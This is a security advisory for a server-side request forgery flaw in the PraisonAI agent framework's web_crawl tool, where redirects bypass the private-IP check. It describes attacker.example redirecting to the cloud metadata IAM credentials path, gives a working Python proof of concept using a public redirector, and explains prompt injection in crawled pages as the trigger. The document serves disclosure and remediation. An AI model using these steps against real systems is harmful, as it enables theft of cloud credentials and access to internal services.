CVE-2026-55525: PraisonAI: SSRF via redirect-following in praisonaiagents web_crawl
Summary webcrawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(followredirects=True) and never re-validates redirect targets.
An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier webcrawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.
Details
1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP. 2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. 3. crawlwithhttpx follows the redirect with followredirects=True, fetches the IAM credential document, and webcrawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.
The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts
Source (validates only the initial hostname) python src/praisonai-agents/praisonaiagents/tools/webcrawltools.py:231
ipstr = socket.gethostbyname(hostname) ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast or ip.isunspecified: logger.warning(f"Rejected SSRF or private IP attempt: {u}") continue
Sink (follows redirects with no re-validation) python src/praisonai-agents/praisonaiagents/tools/webcrawltools.py:142
import httpx with httpx.Client(followredirects=True, timeout=30.0) as client: response = client.get(url) response.raiseforstatus() content = response.text
PoC Dependencies: pip install praisonaiagents==1.6.52 httpx
Preconditions: - The agent has the webcrawl tool registered, which is a standard exported tool. - The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). - ALLOWLOCALCRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass. - The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).
python """Direct loopback is blocked; a public redirector to loopback is not.""" import http.server, json, socket, threading, urllib.parse from praisonaiagents.tools import webcrawl
SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"
class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders(); self.wfile.write(SECRET.encode()) def logmessage(self, a): pass
s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close() srv = http.server.HTTPServer(("127.0.0.1", port), H) threading.Thread(target=srv.serveforever, daemon=True).start() internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"
control = webcrawl(internal) # front-door blocks loopback leaked = lambda r: SECRET in json.dumps(r) redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode( {"url": internal, "statuscode": "302"}) # public host -> 302 -> internal exploit = webcrawl(redirector) srv.shutdown() print("controlleaked", leaked(control), "| exploitleaked", leaked(exploit)) assert not leaked(control) and leaked(exploit) print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")
Impact Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier webcrawl advisories added is fully enabled and still bypassed.
Other sources
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the webcrawl function validates only the initial URL before crawlwithhttpx uses httpx.Client(followredirects=True). Redirect targets are not revalidated, so an attacker who influences a crawl target can redirect a public URL to loopback, private network, or cloud metadata services while ALLOWLOCALCRAWL remains disabled. The fetched internal response is returned to the agent context. This issue is fixed in version 1.6.58.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.58 - Upgrade
Upgrade
praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.58 - Compensating control
Ensure HTTP redirect-following behavior does not allow SSRF redirect targets: block or re-validate redirect destinations to prevent access to loopback/private/link-local or cloud metadata addresses when using the praisonaiagents web_crawl tool (httpx follow_redirects=True bypass is the root issue).
Event History
Frequently Asked Questions
Which deployments are affected without additional provider configuration?
Stock pip installations of praisonaiagents use httpx as the default crawl provider. Because web_crawl is exported and model-callable, deployments that allow the agent to invoke this tool are exposed without configuring an alternate provider.
What does an attacker need to exploit this issue?
The attacker needs to influence a crawl target, such as through a malicious task or prompt injection in a page the agent has already crawled. They can provide a publicly resolvable URL they control that redirects to an internal address.
What can be exposed if exploitation succeeds?
The crawler can fetch internal resources after following the redirect and place the response body into the agent context. Examples identified include cloud metadata at 169.254.169.254, localhost services, and internal APIs.